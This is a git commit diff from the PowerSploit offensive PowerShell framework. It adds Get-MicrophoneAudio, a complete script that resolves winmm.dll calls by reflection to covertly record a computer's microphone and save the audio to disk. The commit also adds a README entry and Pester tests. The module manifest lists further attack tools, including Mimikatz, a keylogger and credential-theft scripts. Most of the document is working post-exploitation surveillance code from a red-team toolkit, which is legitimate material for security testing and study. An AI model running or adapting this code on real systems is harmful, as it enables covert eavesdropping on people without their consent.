diff options
author | Harmj0y <will@harmj0y.net> | 2016-05-13 01:08:03 -0400 |
---|---|---|
committer | Harmj0y <will@harmj0y.net> | 2016-05-13 01:08:03 -0400 |
commit | 7d3f0066ec4558d3625580e12740604b8894f1fe (patch) | |
tree | cf381d89ff363087752ae2efa031f2b3be364081 | |
parent | 56824c1799cea3471e839c01fcd5a338134f8147 (diff) | |
parent | eec3704f40f457bde6a5c5d1bb7c93c463e2e0ac (diff) | |
download | PowerSploit-7d3f0066ec4558d3625580e12740604b8894f1fe.tar.gz PowerSploit-7d3f0066ec4558d3625580e12740604b8894f1fe.zip |
Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev
-rw-r--r-- | Exfiltration/Exfiltration.psd1 | 3 | ||||
-rwxr-xr-x | Exfiltration/Get-MicrophoneAudio.ps1 | 187 | ||||
-rw-r--r-- | README.md | 4 | ||||
-rw-r--r-- | Tests/Exfiltration.tests.ps1 | 31 |
4 files changed, 224 insertions, 1 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index da78493..7df0835 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -31,6 +31,7 @@ FunctionsToExport = '*' FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
- 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
+ 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
+ 'Get-MicrophoneAudio.ps1'
}
diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1 new file mode 100755 index 0000000..41a16ba --- /dev/null +++ b/Exfiltration/Get-MicrophoneAudio.ps1 @@ -0,0 +1,187 @@ +function Get-MicrophoneAudio {
+<#
+.SYNOPSIS
+Records audio from the microphone and saves to a file on disk
+Author: Justin Warner (@sixdub)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
+http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+https://github.com/PowerShellMafia/PowerSploit
+
+Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
+
+.DESCRIPTION
+Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
+
+.OUTPUTS
+Outputs the FileInfo object pointing to the recording which has been saved to disk.
+
+.PARAMETER Path
+The location to save the audio
+
+.PARAMETER Length
+The length of the audio to record in seconds. Default: 30
+
+.PARAMETER Alias
+The alias to use for the WinMM recording. Default: Random 10 Chars
+
+.EXAMPLE
+Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
+Description
+-----------
+Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
+#>
+ [OutputType([System.IO.FileInfo])]
+ Param
+ (
+ [Parameter( Position = 0, Mandatory = $True)]
+ [ValidateScript({Split-Path $_ | Test-Path})]
+ [String] $Path,
+ [Parameter( Position = 1, Mandatory = $False)]
+ [Int] $Length = 30,
+ [Parameter( Position = 2, Mandatory = $False)]
+ [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
+
+ )
+
+ #Get-DelegateType from PowerSploit
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ #Get-ProcAddress from PowerSploit
+ function local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ #Initialize and call LoadLibrary on our required DLL
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
+ $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
+ $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
+ $HND = $null
+ $HND = $LoadLibrary.Invoke('winmm.dll')
+ if ($HND -eq $null)
+ {
+ Throw 'Failed to aquire handle to winmm.dll'
+ }
+
+ #Initialize the function call to count devices
+ $waveInGetNumDevsAddr = $null
+ $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
+ $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
+ if ($waveInGetNumDevsAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to WaveInGetNumDevs'
+ }
+ $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
+
+ #Initilize the function call to record audio
+ $mciSendStringAddr = $null
+ $mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
+ $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
+ if ($mciSendStringAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to mciSendStringA'
+ }
+ $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
+
+ #Initialize the ability to resolve MCI Errors
+ $mciGetErrorStringAddr = $null
+ $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
+ $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
+ if ($mciGetErrorStringAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to mciGetErrorString'
+ }
+ $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
+
+ #Get device count
+ $DeviceCount = $waveInGetNumDevs.Invoke()
+
+ if ($DeviceCount -gt 0)
+ {
+
+ #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
+ $errmsg = New-Object Text.StringBuilder 150
+
+ #Open an alias
+ $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ #Call recording function
+ $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ Start-Sleep -s $Length
+
+ #save recorded audio to disk
+ $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ #terminate alias
+ $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ $OutFile = Get-ChildItem -path $path
+ Write-Output $OutFile
+
+ }
+ else
+ {
+ Throw 'Failed to enumerate any recording devices'
+ }
+}
@@ -128,6 +128,10 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + ## Mayhem **Cause general mayhem with PowerShell.** diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index e4f60d5..ed98f45 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -52,3 +52,34 @@ Describe 'Get-Keystrokes' { Remove-Item -Force "$($env:TEMP)\key.log" } + +Describe "Get-MicrophoneAudio" { + + $RecordPath = "$env:TEMP\test_record.wav" + $RecordLen = 2 + Context 'Successful Recording' { + BeforeEach { + #Ensure the recording as been removed prior to testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + AfterEach { + #Remove the recording after testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + It 'should record audio from the microphone and save it to a specified path' { + $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen + $result | Should Not BeNullOrEmpty + $result.Length | Should BeGreaterThan 0 + } + + } + + Context 'Invalid Arguments' { + It 'should not allow invalid paths to be used' { + { Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw + } + } + +} |